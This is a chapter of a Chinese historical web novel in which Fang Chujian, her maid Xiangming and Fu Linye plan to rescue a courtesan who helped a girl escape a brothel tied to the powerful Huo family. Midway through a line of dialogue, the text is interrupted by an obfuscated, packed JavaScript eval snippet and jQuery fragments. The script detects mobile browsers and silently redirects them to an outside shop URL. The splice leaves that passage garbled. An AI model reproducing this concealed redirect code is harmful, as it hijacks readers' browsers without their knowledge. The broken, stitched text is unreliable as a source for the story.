方初见用余光看了一眼傅临夜,心下一转,觉得这是个不错的机会。
她抬抬下巴,温声示意香茗道:“但说无妨。”
香茗这个孩子极少求她什么,她豆芽大的时候就跟在方初见的身边,春过又秋至,连一件新衣服都不会要求。
这件事想必是要紧又不容易解决的。
但这孩子即知分寸又顾大局,太过的要求不会说出口。
这件事说到底也不过过分困难。
不轻不重的“忙”,倒不如摊开了推到自己刚结盟的伙伴面前。适当央求别人干点力所能及简单的小事,更有利于拉近双方的关系。
正所谓,来往来往,你来我才有机会往嘛。若是傅临夜出手帮了她们,方初见正好有了送礼的官方理由。
傅临夜善解人意地问:“你们要说悄悄话吗?需不需要我回避一下?”
话虽这么说,但他无论是动作还是表情都没有想要回避的意思。
香茗得了方初见的授意,按理应该没有了顾虑。
她抿抿嘴,似乎是很不好意思地轻声开口道:“我想求您救个人。”
“我当是个什么事呢。”方初见抬手轻轻巧巧地刮了下香茗的鼻尖,用开玩笑的语气说:“左右不过是钱的事,你直接找白掌柜,从我账上出便罢了。”
借着这个动作,方初见将自己手中的帕子递到香茗手中,鼓励她继续说下去。
香茗心不在焉地拧着那帕子,过了好一会才鼓起勇气开口。她的声音急切中又带着一贯的怯怯:“不是这么简单呀……”
方初见最乐意看到她这种着急的模样,先前说的话自是为了逗她才这样讲的。
要真是出钱这么简单,下午香茗和白青在一起时,白青就会替方初见做主出了这笔钱。
他和方初见少时相识,知道方初见这路见不平拔刀相助的脾性。
“我的好妹妹,你别着急。就是让我上刀山下火海,我也给你把人抢出来。”方初见往身后的软垫上一靠,伸手指向傅临夜,道:“这不还有我们权眼通天的傅大人吗?”
“想必他是不会让我们沦落到那半死不活的田地。”
傅临夜被她这么一提,又顺水推舟加入了两人的谈话:“依我看啊,以我们方姑娘的手段,这对方上刀山下火海的可能性还大一些。”
方初见抱臂反驳道:“哪有什么手段?我这人最本分不过了。”
香茗最先忍不住,用手帕捂住嘴偷偷的笑。车上的另两位没继续强撑,也跟着笑起来。
被这种愉悦的氛围感染,香茗悄悄拭去刚刚因为笑而渗出的泪珠,开口讲述自己这天下午的见闻。
她和方初见分开之后,随着白青去到了徐二九居住的棚屋,见到了先前谈话中那位“捡来的女孩”。
屋子很破,看起来摇摇晃晃的并不稳当,似乎随都可能会坍塌。墙上的窟窿被用废弃的牛皮纸随意裱糊,看起来和村社中废弃的旧庙一样,有种森森的霉气。
尽管房子被主人打扫的很干净,可还是让来访的客人感到了转不过身的局促。
香茗讲到这里时,鼻尖隐隐发酸:“我原以为徐二九是个不入流的小偷,是怎么也想不到,他为人这样仗义。”
那女孩窝在一个小角落安静的翻着书,是个文静而聪明的孩子。徐二九说,来年他要攒些钱,送这孩子去上学。
他说,这孩子很有些读书的天分。
香茗进门后先是一怔,随后缓步走到那个角落。她蹲下身子,使自己的视线和女孩齐平,问:“这里有没有什么我能帮得上忙的地方?”
女孩名叫苏若草。
闻言,她抬起头,仔细思索片刻后摇头:“我没有什么缺的东西,只是……算了。”
小姑娘消瘦的面庞上是略大的眼睛,里面盛满了这个年纪不应该有的痛苦与某种名为认命的情绪:“有些事,不是你我可以办到的。”
香茗听到了她这犹抱琵琶半遮面的几个只是,又看到了她脸上实打实的难过,心中泛起说不清道不明的滋味。
她追问道:“难不成是让生者死、死者生这样逆天而为的事吗?”
苏若草听了这句话,用袖子擦了把脸,用力地说:“这生与死有什么可怕的?又有什么值得我去求的?”
“我只想把受苦受难的恩人从求生不得、求死不能的魔窟救出来!哪怕让我死,哪怕让我丢了命,我都愿意。”
听到这里,香茗以为发生了什么欺男霸女的事。
一时间,正义感涌上胸腔,她拉住那女孩的手,坚定地说:“你且讲吧,我家主子最见不得这种事情。”
“她一定愿意出手帮你。”
苏若草抽抽鼻子,开始讲述:“我之前在花楼遇到一个叫春彩的姐姐对我极好,她对着歌词教我识字,平日在生活上也对我多有照顾。”
“一个月前,嬷嬷和手下商量给我开脸,被花楼里的几位姐姐听到了,她们计划将我救出来。原本是一切顺利的,每个姐姐都带着遮掩面容的面纱,合力将我送了出来。”
“可不知怎么,嬷嬷的手下得了消息追过来,春彩姐为了将我推出去,被来人抓下面纱,暴露了容貌。”
“嬷嬷是说一不二的性子,平日里最厌恶手下的丫头生事端。要是手下将春彩姐帮我出逃的事告诉嬷嬷,嬷嬷肯定不会放过她的。”
姑娘话音未落,香茗便忍不住抢过话头,道:“苏姑娘你别怕,你这位姐姐待在那个花楼,我好找人帮她。”
说到这里,香茗止住了声音,面色变得古怪起来。
方初见戳了戳她的胳膊,不满地催促道:“哪里的花楼这般吓人?难不成里面有鬼?”
“我的小姐啊,这比鬼可吓人多了。”香茗沉重地捂住心口说:“花楼的幕后大老板,姓霍。”
方初见深呼吸几次,不可置信地问:“是我想的那个霍吗?”
香茗飘忽地点了两下头,便把头彻底沉到了胸腔里。
“绝无可能。”傅临夜脸上的疑惑更甚,他解释道:“家父家母和霍家现在的掌权人私交甚笃,他们过世之后,我曾到霍家居住过一段时间。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17281483|198366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那霍家虽没什么聪明人,但本性不坏,大部分为人都算得上正派,大概不会做这样的事。”
从方初见得到的消息来看,霍家人确实没有涉足过这样的生意。
他们最注重名声,一个个的眼睛都长到了天上,连皇帝都瞧不上,大概不会把自己名字和这种下九流的事情挂钩。
香茗慌忙地摆手,解释道:“不是京城霍家本家人干的,是他们临市的远房亲戚。虽说平日里算不上多亲近,可到底是姓霍,逢年过节也会走动。”
打狗还得看主人呢。
虽说那邻市的霍家远亲有错在先,可也轮不到他们来敲打人家。
方初见一般不会主动招惹这类人,尤其那人还和霍家沾亲带故。
霍家作为皇后的母族,手中掌握着自朝代建立起绵延至今的兵权,整个家族盘根错节深不可测。
可是……
方初见视线微微偏移。
她准备等晚饭结束送走傅临夜之后,再和自己的心腹讨论这事。
有些话不宜当着外人的面说,有些事不宜当着外人的面办。
尤其傅临夜还和目标人物关系密切。
傅临夜没察觉到自己作为“外人”被警惕且排斥,亦或是他知道,所以才故意说:“我在霍家住了很长时间也没听说过有这么个玩意,想必不是什么要紧的人物。”
方初见无奈道:“和紧不要紧的没关系,主要是不能伤了霍将军的面子。”
至少不能在明面上被人抓了小辫子。
私下偷偷的也没人管的着她。
傅临夜摩挲着下巴,做出辛苦思考的模样:“这也好办。我修书一封递到霍府知会他们一声,看在家父家母的面子上,他们应该会同意的。只是……”
“又只是什么?”马车上另外两人齐齐出声。
傅临夜遗憾摇头:“霍家的男儿每年的这段时间都要去南郊练兵,先不说信能不能送进去,单单这一来一回就要花上五六天。”
潜台词是:压根就来不及嘛。
方初见仔细一琢磨这话,横听竖听左听右听,只从里面听出一句话:带上我带上我。
尽管不知道自己想的对不对,方初见还是一字一顿认真强调道:“人命关天,这并非是儿戏。”
傅临夜整整衣袍,同样一字一顿道:“就是因为人命关天啊,如果我和你们一起去,出了事情还有我这一点点薄面撑着,你安全她安全所有人都安全。”
“而我呢,也能在你面前讨个好。一箭双雕,岂不美哉?”
方初见闭上眼睛快速分析利弊,不过吐息间就做出了她认为最优的打算。
没有过多犹豫,她郑重地伸出了拳:“好,傅大人,我们一会儿再细聊。”
毕竟一开始她就想把傅临夜拉进来。
傅临夜愣神一瞬,从善如流地将手握成拳和方初见轻轻一碰:“我会一直等你的。”
三人的谈话告一段落。
他们的马车行至京城最大的酒楼歇仙楼。
看样子,三皇子已经等待多时了。